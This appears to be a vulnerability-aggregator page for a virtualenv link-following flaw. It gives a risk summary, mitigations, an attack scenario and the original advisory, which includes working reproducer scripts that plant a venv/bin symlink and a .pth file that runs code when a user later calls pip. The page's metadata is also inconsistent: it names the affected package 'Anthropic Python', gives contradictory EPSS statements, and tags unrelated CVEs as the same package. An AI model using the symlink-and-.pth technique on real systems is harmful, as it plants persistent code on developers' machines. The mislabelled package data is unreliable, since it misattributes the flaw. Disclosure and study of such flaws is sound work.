virtualenv before 21.14.9 follows pre-existing directory symlinks when it creates an environment (CWE-59), so a booby-trapped project tree can make it write python, pip and activate files into locations like ~/.local/bin. It is rated medium (CVSS 4.5, local, high complexity, low privileges). There is no KEV listing, no public exploit or Nuclei template, and no EPSS data, so exploitation likelihood looks low. The relevance is the supply chain: virtualenv has about 6,390 downstream dependents and sits under most Python ML and CI workflows, and a hostile checkout can plant a PATH-resident pip that later runs attacker .pth code. Upgrade to virtualenv 21.14.9, and until then create environments only in fresh directories you own, never in cloned or shared trees.
What is the risk?
Medium, and probably lower in practice. The attacker must already be able to place symlinks and a .pth payload in a destination the victim then uses, for example a malicious repository checkout or a directory shared between accounts. The victim must also run virtualenv there, and the target directory must be on their PATH. The written bytes are environment-creation output, not arbitrary attacker-chosen content. The real danger is chaining: the written pip or python executable is later loaded from PATH and executes the planted .pth code. The package is tagged AI-adjacent only because of its use in ML tooling, so its direct AI/ML impact is indirect. There is no known active exploitation. Concurrent parent replacement (a race) is explicitly not fixed.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | < 21.14.9 | 21.14.9 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade virtualenv to 21.14.9 or later; the fix replaces symlinks and Windows junctions in the executable and library paths and warns about each one it replaces. 2) Pin the version in CI images, base containers and developer tooling (pipx, tox, nox, pre-commit, poetry). 3) Create environments only in fresh, empty directories under a parent controlled by their owner; do not reuse trees prepared by another account or taken from untrusted checkouts. 4) Before running virtualenv in a cloned repository, check for symlinks in venv/, bin/ and lib/ (for example with find . -type l). 5) Do not put user-writable directories such as ~/.local/bin ahead of system paths on shared or build hosts. 6) Detect: look for unexpected python*, pip* or activate* files with recent timestamps in ~/.local/bin, and for virtualenv warnings about replaced links after upgrading. 7) Check Python site-packages for unexpected .pth files that import or exec code.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-113716?
virtualenv before 21.14.9 follows pre-existing directory symlinks when it creates an environment (CWE-59), so a booby-trapped project tree can make it write python, pip and activate files into locations like ~/.local/bin. It is rated medium (CVSS 4.5, local, high complexity, low privileges). There is no KEV listing, no public exploit or Nuclei template, and no EPSS data, so exploitation likelihood looks low. The relevance is the supply chain: virtualenv has about 6,390 downstream dependents and sits under most Python ML and CI workflows, and a hostile checkout can plant a PATH-resident pip that later runs attacker .pth code. Upgrade to virtualenv 21.14.9, and until then create environments only in fresh directories you own, never in cloned or shared trees.
Is CVE-2026-113716 actively exploited?
No confirmed active exploitation of CVE-2026-113716 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-113716?
1) Upgrade virtualenv to 21.14.9 or later; the fix replaces symlinks and Windows junctions in the executable and library paths and warns about each one it replaces. 2) Pin the version in CI images, base containers and developer tooling (pipx, tox, nox, pre-commit, poetry). 3) Create environments only in fresh, empty directories under a parent controlled by their owner; do not reuse trees prepared by another account or taken from untrusted checkouts. 4) Before running virtualenv in a cloned repository, check for symlinks in venv/, bin/ and lib/ (for example with find . -type l). 5) Do not put user-writable directories such as ~/.local/bin ahead of system paths on shared or build hosts. 6) Detect: look for unexpected python*, pip* or activate* files with recent timestamps in ~/.local/bin, and for virtualenv warnings about replaced links after upgrading. 7) Check Python site-packages for unexpected .pth files that import or exec code.
What systems are affected by CVE-2026-113716?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, CI/CD build agents, developer workstations, shared ML development hosts, notebook environments.
What is the CVSS score for CVE-2026-113716?
CVE-2026-113716 has a CVSS v3.1 base score of 4.5 (MEDIUM). The EPSS exploitation probability is 0.14%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareAML.T0011.001Malicious PackageCompliance Controls Affected
What are the technical details?
Original Advisory
## Summary The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination. Anthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Directory preparation before environment files are created. ## Attacker-controlled input Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account. ## Affected code The relevant 21.14.8 source is in [builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py), [ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism The builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing symlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. `--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it. ## Reproduction and evidence The scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree. With the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote `python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later `pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A second case began with the `bin` link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached `~/.local/bin`. The attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path to 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before creation. Concurrent parent replacement remains a separate case. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared destination participant V as Builtin creator participant L as venv/bin symlink participant H as ~/.local/bin participant U as User A->>L: point to ../../.local/bin V->>L: ensure_dir accepts existing directory link V->>H: write python, pip and activate files through link V-->>U: creation reports success U->>H: run pip found on PATH H->>A: interpreter loads planted .pth A-->>U: marker created ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path WORK = Path("/tmp/planted-bin-link") shutil.rmtree(WORK, ignore_errors=True) def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout): local_bin = home / ".local/bin" user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"} local_bin_before = set(os.listdir(local_bin)) payload_marker = home / "PWNED" # the attacker's checkout arrives at ~/project subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True) venv = home / "project/venv" print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}") # default options; the flag only keeps the run off the network subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True) written = sorted(set(os.listdir(local_bin)) - local_bin_before) payload_ran_at_creation = payload_marker.exists() print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}") print(f"OBSERVED virtualenv wrote to {local_bin}: {written}") print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}") # later, in another folder, the user runs pip pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True) print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}") print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}") return written, payload_marker.exists() and not payload_ran_at_creation print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin") home = WORK / "bin-link" (home / ".local/bin").mkdir(parents=True) written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py") print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded") home = WORK / "bin-link-staying-inside" (home / ".local/bin").mkdir(parents=True) # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there (home / ".local/bin/python").symlink_to("/usr/local/bin/python3") written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py") # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1 link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2 print("---") print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}") print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}") print("BUG" if plain_link_followed or link_staying_inside_followed else "OK") ``` **`repro.d/checkout_with_bin_link.py`** ```text import sys from pathlib import Path venv = Path(sys.argv[1]) / "venv" # one per minor version: the attacker does not know which Python the user has for minor in range(9, 20): site_packages = venv / f"lib/python3.{minor}/site-packages" site_packages.mkdir(parents=True) (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n") # relative to a checkout at ~/project (venv / "bin").symlink_to("../../.local/bin") ``` **`repro.d/checkout_with_bin_link_staying_inside.py`** ```text import sys from pathlib import Path venv = Path(sys.argv[1]) / "venv" site_packages = venv / "lib/py/site-packages" site_packages.mkdir(parents=True) (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n") for minor in range(9, 20): (venv / f"lib/python3.{minor}").symlink_to("py") # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below (venv / "1/2/3/4/5/6/7").mkdir(parents=True) (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7") # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~ (venv / "1/.local/bin").mkdir(parents=True) (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin") ``` ## Impact Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established. Severity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement. Fix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429). ## Known mitigation Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.
Exploitation Scenario
An attacker publishes a repository, such as a demo ML project or model-serving example, that already contains venv/bin as a symlink to ../../.local/bin, and a site-packages directory with a .pth file that runs code. A data scientist clones it, runs virtualenv venv as the README says, and sees a successful result. Virtualenv wrote python, pip and activate into ~/.local/bin through the link. Later, in any folder, the data scientist runs pip. The shell finds the seeded pip first on PATH, which loads the planted .pth and runs the attacker's code. It could steal cloud credentials, Hugging Face or API tokens, and SSH keys.
Weaknesses (CWE)
CWE-59 — Improper Link Resolution Before File Access ('Link Following'): The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
- [Architecture and Design] Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:LReferences
Timeline
Related Vulnerabilities
CVE-2026-9460310.0Podman: checkpoint images override sandbox on run
Same package: anthropicCVE-2026-544498.8LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropicCVE-2026-277758.8Gitea: cached permission check allows repo takeover
Same package: anthropicCVE-2026-554298.7Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropicCVE-2026-75748.7Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic